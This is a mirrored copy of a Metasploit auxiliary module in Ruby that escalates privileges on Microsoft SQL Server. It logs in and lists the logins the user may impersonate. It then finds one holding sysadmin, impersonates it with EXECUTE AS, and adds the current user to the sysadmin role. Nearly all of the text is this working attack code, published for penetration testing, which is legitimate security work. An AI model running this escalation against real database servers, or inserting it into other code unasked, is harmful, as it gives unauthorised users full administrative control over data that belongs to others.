Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::Remote::MSSQL8include Msf::OptionalSession::MSSQL910def initialize(info = {})11super(update_info(info,12'Name' => 'Microsoft SQL Server Escalate EXECUTE AS',13'Description' => %q{14This module can be used escalate privileges if the IMPERSONATION privilege has been15assigned to the user. In most cases, this results in additional data access, but in16some cases it can be used to gain sysadmin privileges.17},18'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],19'License' => MSF_LICENSE,20'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']]21))22end2324def run25if session26set_mssql_session(session.client)27else28print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")29if mssql_login_datastore30print_good('Connected.')31else32print_error("Login was unsuccessful. Check your credentials.")33disconnect34return35end36end3738# Query for sysadmin status39print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")40user_status = check_sysadmin4142# Check if user has sysadmin role43if user_status == 144print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")45disconnect46return47else48print_status("You're NOT a sysadmin, let's try to change that.")49end5051# Get a list of the users that can be impersonated52print_status("Enumerating a list of users that can be impersonated...")53imp_user_list = check_imp_users54if imp_user_list.nil? || imp_user_list.length == 055print_error('Sorry, the current user doesn\'t have permissions to impersonate anyone.')56disconnect57return58else59# Display list of users that can be impersonated60print_good("#{imp_user_list.length} users can be impersonated:")61imp_user_list.each do |db|62print_status(" - #{db[0]}")63end64end6566# Check if any of the users that can be impersonated are sysadmins67print_status('Checking if any of them are sysadmins...')68imp_user_sysadmin = check_imp_sysadmin(imp_user_list)69if imp_user_sysadmin.nil?70print_error('Sorry, none of the users that can be impersonated are sysadmins.')71disconnect72return73end7475# Attempt to escalate to sysadmin76print_status("Attempting to impersonate #{imp_user_sysadmin[0]}...")77escalate_status = escalate_privs(imp_user_sysadmin[0])78if escalate_status79# Check if escalation was successful80user_status = check_sysadmin81if user_status == 182print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")83else84print_error('Fail buckets, something went wrong.')85end86else87print_error('Error while trying to escalate privileges.')88end8990disconnect91return92end9394# Checks if user is a sysadmin95def check_sysadmin96# Setup query to check for sysadmin97sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"9899# Run query100result = mssql_query(sql)101102# Parse query results103parse_results = result[:rows]104status = parse_results[0][0]105106# Return status107return status108end109110# Gets trusted databases owned by sysadmins111def check_imp_users112# Setup query113sql = "SELECT DISTINCT b.name114FROM sys.server_permissions a115INNER JOIN sys.server_principals b116ON a.grantor_principal_id = b.principal_id117WHERE a.permission_name = 'IMPERSONATE'"118119result = mssql_query(sql)120121# Return on success122return result[:rows]123end124125# Checks if user has the db_owner role126def check_imp_sysadmin(trust_db_list)127# Check if the user has the db_owner role is any databases128trust_db_list.each do |imp_user|129# Setup query130sql = "select IS_SRVROLEMEMBER('sysadmin','#{imp_user[0]}') as status"131132# Run query133result = mssql_query(sql)134135# Parse query results136parse_results = result[:rows]137status = parse_results[0][0]138if status == 1139print_good(" - #{imp_user[0]} is a sysadmin!")140return imp_user141else142print_status(" - #{imp_user[0]} is NOT sysadmin!")143end144end145nil146end147148def escalate_privs(imp_user_sysadmin)149# Impersonate the first sysadmin user on the list150evil_sql_create = "EXECUTE AS Login = '#{imp_user_sysadmin}';151EXEC sp_addsrvrolemember '#{datastore['USERNAME']}','sysadmin';"152153mssql_query(evil_sql_create)154155true156end157end158159160